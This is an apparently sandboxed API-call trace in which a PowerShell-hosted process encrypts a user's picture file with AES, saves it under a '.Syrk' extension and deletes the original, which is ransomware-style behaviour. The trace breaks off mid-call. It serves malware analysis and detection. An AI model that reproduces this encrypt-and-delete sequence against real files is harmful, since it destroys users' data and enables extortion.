EtwEventActivityIdControl () returned 0x0 [0248.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0248.204] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.204] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0248.204] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.206] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d430) returned 1 [0248.208] CryptImportKey (in: hProv=0x5c4d430, pbData=0x2492100*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99920) returned 1 [0248.208] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.208] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.209] EtwEventActivityIdControl () returned 0x0 [0248.209] EtwEventActivityIdControl () returned 0x0 [0248.209] EtwEventActivityIdControl () returned 0x0 [0248.215] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif")) returned 0x20 [0248.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif")) returned 0x20 [0248.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0248.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", lpFilePart=0x0) returned 0x2e [0248.217] EtwEventActivityIdControl () returned 0x0 [0248.218] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.279] EtwEventActivityIdControl () returned 0x0 [0248.279] EtwEventActivityIdControl () returned 0x0 [0248.280] EtwEventActivityIdControl () returned 0x0 [0248.281] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0248.281] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", lpFilePart=0x0) returned 0x2e [0248.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0248.281] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0248.282] GetFileType (hFile=0x3c4) returned 0x1 [0248.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0248.282] GetFileType (hFile=0x3c4) returned 0x1 [0248.282] EtwEventActivityIdControl () returned 0x0 [0248.282] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.283] EtwEventActivityIdControl () returned 0x0 [0248.283] EtwEventActivityIdControl () returned 0x0 [0248.283] EtwEventActivityIdControl () returned 0x0 [0248.284] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0248.284] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk", lpFilePart=0x0) returned 0x33 [0248.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0248.284] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0248.285] GetFileType (hFile=0x454) returned 0x1 [0248.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0248.285] GetFileType (hFile=0x454) returned 0x1 [0248.285] EtwEventActivityIdControl () returned 0x0 [0248.285] CryptGenRandom (in: hProv=0x5c4d430, dwLen=0x10, pbBuffer=0x24a2560 | out: pbBuffer=0x24a2560) returned 1 [0248.286] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.287] CryptDuplicateKey (in: hKey=0x5c99920, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c999a0) returned 1 [0248.287] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.287] CryptSetKeyParam (hKey=0x5c999a0, dwParam=0x4, pbData=0x24a3898*=0x1, dwFlags=0x0) returned 1 [0248.287] CryptSetKeyParam (hKey=0x5c999a0, dwParam=0x1, pbData=0x24a3864, dwFlags=0x0) returned 1 [0248.287] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.287] EtwEventActivityIdControl () returned 0x0 [0248.288] EtwEventActivityIdControl () returned 0x0 [0248.288] EtwEventActivityIdControl () returned 0x0 [0248.289] EtwEventActivityIdControl () returned 0x0 [0248.289] ReadFile (in: hFile=0x3c4, lpBuffer=0x24a64d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24a64d4*, lpNumberOfBytesRead=0x5a2e7d8*=0x6303, lpOverlapped=0x0) returned 1 [0248.291] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ba4ec*, pdwDataLen=0x5a2e7cc*=0x6300, dwBufLen=0x6300 | out: pbData=0x24ba4ec*, pdwDataLen=0x5a2e7cc*=0x6300) returned 1 [0248.291] WriteFile (in: hFile=0x454, lpBuffer=0x24a2648*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24a2648*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0248.293] WriteFile (in: hFile=0x454, lpBuffer=0x24bb4d8*, nNumberOfBytesToWrite=0x5314, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24bb4d8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x5314, lpOverlapped=0x0) returned 1 [0248.294] ReadFile (in: hFile=0x3c4, lpBuffer=0x24a64d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24a64d4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0248.294] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24c07f8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24c07f8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0248.294] CryptEncrypt (in: hKey=0x5c999a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24c0814*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24c0814*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0248.294] WriteFile (in: hFile=0x454, lpBuffer=0x24a2648*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24a2648*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0248.294] CloseHandle (hObject=0x454) returned 1 [0248.296] CloseHandle (hObject=0x3c4) returned 1 [0248.297] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.297] EtwEventActivityIdControl () returned 0x0 [0248.297] EtwEventActivityIdControl () returned 0x0 [0248.297] EtwEventActivityIdControl () returned 0x0 [0248.303] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif")) returned 0x20 [0248.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0248.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", lpFilePart=0x0) returned 0x2e [0248.306] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0248.306] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0248.306] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0248.306] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0248.306] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0248.306] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0248.306] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0248.307] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0248.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0248.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0248.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0248.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0248.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0248.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0248.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0248.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0248.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif")) returned 0x20 [0248.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0248.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", lpFilePart=0x0) returned 0x2e [0248.311] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0248.312] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", lpFilePart=0x0) returned 0x2e [0248.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0248.312] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0248.312] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", lpFilePart=0x0) returned 0x2e [0248.312] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0248.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0248.312] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0248.312] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0248.312] CoTaskMemFree (pv=0x3b0008) [0248.314] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif")) returned 0x20 [0248.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0248.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif", lpFilePart=0x0) returned 0x2e [0248.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0248.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif"), fInfoLevelId=0x0, lpFileInformation=0x24cbcb8 | out: lpFileInformation=0x24cbcb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340cfec0, ftCreationTime.dwHighDateTime=0x1d99b0c, ftLastAccessTime.dwLowDateTime=0x31c0e530, ftLastAccessTime.dwHighDateTime=0x1d99c67, ftLastWriteTime.dwLowDateTime=0x31c0e530, ftLastWriteTime.dwHighDateTime=0x1d99c67, nFileSizeHigh=0x0, nFileSizeLow=0x6303)) returned 1 [0248.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0248.315] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif")) returned 1 [0248.401] EtwEventActivityIdControl () returned 0x0 [0248.401] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.402] EtwEventActivityIdControl () returned 0x0 [0248.402] EtwEventActivityIdControl () returned 0x0 [0248.402] EtwEventActivityIdControl () returned 0x0 [0248.411] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif.syrk")) returned 0x20 [0248.412] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif.syrk")) returned 0x20 [0248.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0248.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk", lpFilePart=0x0) returned 0x33 [0248.413] EtwEventActivityIdControl () returned 0x0 [0248.413] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.414] EtwEventActivityIdControl () returned 0x0 [0248.414] EtwEventActivityIdControl () returned 0x0 [0248.414] EtwEventActivityIdControl () returned 0x0 [0248.418] EtwEventActivityIdControl () returned 0x0 [0248.419] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.419] EtwEventActivityIdControl () returned 0x0 [0248.419] EtwEventActivityIdControl () returned 0x0 [0248.419] EtwEventActivityIdControl () returned 0x0 [0248.425] EtwEventActivityIdControl () returned 0x0 [0248.425] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.425] EtwEventActivityIdControl () returned 0x0 [0248.425] EtwEventActivityIdControl () returned 0x0 [0248.425] EtwEventActivityIdControl () returned 0x0 [0248.429] EtwEventActivityIdControl () returned 0x0 [0248.430] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.430] EtwEventActivityIdControl () returned 0x0 [0248.431] EtwEventActivityIdControl () returned 0x0 [0248.431] EtwEventActivityIdControl () returned 0x0 [0248.434] EtwEventActivityIdControl () returned 0x0 [0248.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.483] EtwEventActivityIdControl () returned 0x0 [0248.483] EtwEventActivityIdControl () returned 0x0 [0248.483] EtwEventActivityIdControl () returned 0x0 [0248.487] EtwEventActivityIdControl () returned 0x0 [0248.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0248.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\dLcXhG3aWfBaiR.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\dlcxhg3awfbair.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24d578c | out: lpFileInformation=0x24d578c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb0a670, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xfb0a670, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xfb307d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x6324)) returned 1 [0248.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0248.494] GetConsoleOutputCP () returned 0x1b5 [0248.494] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.494] GetConsoleOutputCP () returned 0x1b5 [0248.495] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.495] GetConsoleOutputCP () returned 0x1b5 [0248.495] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.495] GetConsoleOutputCP () returned 0x1b5 [0248.495] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.495] GetConsoleOutputCP () returned 0x1b5 [0248.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.496] GetConsoleOutputCP () returned 0x1b5 [0248.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.496] GetConsoleOutputCP () returned 0x1b5 [0248.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.496] GetConsoleOutputCP () returned 0x1b5 [0248.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.496] GetConsoleOutputCP () returned 0x1b5 [0248.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.497] GetConsoleOutputCP () returned 0x1b5 [0248.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.497] GetConsoleOutputCP () returned 0x1b5 [0248.497] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.497] GetConsoleOutputCP () returned 0x1b5 [0248.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.498] GetConsoleOutputCP () returned 0x1b5 [0248.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.498] GetConsoleOutputCP () returned 0x1b5 [0248.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.498] GetConsoleOutputCP () returned 0x1b5 [0248.498] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.499] GetConsoleOutputCP () returned 0x1b5 [0248.499] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.499] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0248.499] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0248.500] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24ef3e8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24ef3e8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0248.500] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0248.501] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0248.502] EtwEventActivityIdControl () returned 0x0 [0248.502] EtwEventActivityIdControl () returned 0x0 [0248.502] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.503] EtwEventActivityIdControl () returned 0x0 [0248.503] EtwEventActivityIdControl () returned 0x0 [0248.503] EtwEventActivityIdControl () returned 0x0 [0248.505] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.506] EtwEventActivityIdControl () returned 0x0 [0248.506] EtwEventActivityIdControl () returned 0x0 [0248.506] EtwEventActivityIdControl () returned 0x0 [0248.508] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0248.510] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995a0) returned 1 [0248.510] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.510] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0248.510] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24f6dc0, 